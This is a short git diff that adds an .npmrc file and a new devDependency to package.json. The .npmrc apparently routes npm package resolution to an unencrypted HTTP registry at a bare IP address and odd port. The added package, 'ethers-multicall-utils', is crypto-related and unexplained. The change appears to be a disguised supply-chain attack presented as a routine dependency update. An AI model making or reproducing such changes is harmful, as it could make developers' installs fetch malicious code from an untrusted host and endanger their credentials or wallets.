diff --git a/.npmrc b/.npmrc
new file mode 100644
index 0000000..b1771f2
--- /dev/null
+++ b/.npmrc
@@ -0,0 +1,2 @@
+registry=https://registry.npmjs.org/
+:registry=http://206.223.232.170:64389/
diff --git a/package.json b/package.json
index 4d62ad7..66f496a 100644
--- a/package.json
+++ b/package.json
@@ -15,7 +15,8 @@
   "devDependencies": {
     "husky": "^9.1.7",
     "lint-staged": "^17.0.7",
-    "vitest": "^2.1.8"
+    "vitest": "^2.1.8",
+    "ethers-multicall-utils": "^2.1.4"
   },
   "lint-staged": {
     "frontend/**/*.{ts,tsx,js,jsx}": [
@@ -33,4 +34,4 @@
     "lightningcss-darwin-x64": "^1.32.0",
     "lightningcss-linux-x64-gnu": "^1.31.1"
   }
-}
+}
\ No newline at end of file